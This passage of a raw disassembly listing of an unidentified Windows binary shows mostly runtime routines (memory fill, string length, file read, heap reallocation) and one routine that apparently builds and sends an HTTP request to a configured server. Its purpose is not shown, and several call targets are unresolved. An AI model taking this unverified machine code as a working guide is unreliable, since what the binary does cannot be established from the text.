					; sub_401ACD+72F6p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB73C, 0
		jnz	short loc_41AD63
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB518
		test	eax, eax
		jnz	short loc_41AD4C
		lea	eax, [ebp+var_8C]
		push	offset dword_43A87C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4C:				; CODE XREF: sub_41ACF7+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD59
		push	offset dword_43A874
		jmp	short loc_41AD5E
; ---------------------------------------------------------------------------


loc_41AD59:				; CODE XREF: sub_41ACF7+59j
		push	offset off_43A870


loc_41AD5E:				; CODE XREF: sub_41ACF7+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7B
; ---------------------------------------------------------------------------


loc_41AD63:				; CODE XREF: sub_41ACF7+28j
		mov	esi, offset off_43A86C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7B:				; CODE XREF: sub_41ACF7+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A828
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB6	proc near		; DATA XREF: sub_401ACD+7715o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A95C
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB550
		test	eax, eax
		jz	loc_41AF50
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8D
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8D:				; CODE XREF: sub_41ADB6+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAB
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAB:				; CODE XREF: sub_41ADB6+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC5
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC5:				; CODE XREF: sub_41ADB6+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDF
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDF:				; CODE XREF: sub_41ADB6+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB628
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF68
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB61C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB5C8
		test	eax, eax
		jz	short loc_41AF49
		push	offset dword_43A940
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF49:				; CODE XREF: sub_41ADB6+18Aj
		push	offset unk_43A904
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: sub_41ADB6+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A8E8
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF82
; ---------------------------------------------------------------------------


loc_41AF68:				; CODE XREF: sub_41ADB6+153j
		push	offset unk_43A8BC
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF6F:				; CODE XREF: sub_41ADB6+17Bj
		push	offset unk_43A88C


loc_41AF74:				; CODE XREF: sub_41ADB6+191j
					; sub_41ADB6+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF82:				; CODE XREF: sub_41ADB6+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAD
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A73
		add	esp, 14h


loc_41AFAD:				; CODE XREF: sub_41ADB6+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	esi
		call	dword_4CB688
		push	[ebp+var_4]
		call	dword_4CB688
		push	[ebp+var_1D8]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_41ADB6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DBp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB32+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2790000h


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F08Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DCFE0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		call	near ptr 2830000h
		nop
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C9D4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		call	near ptr 2830000h
		nop
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB9DC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		call	near ptr 2830000h
		nop
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB32+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB9DC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFE8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DCFE0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C9D4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
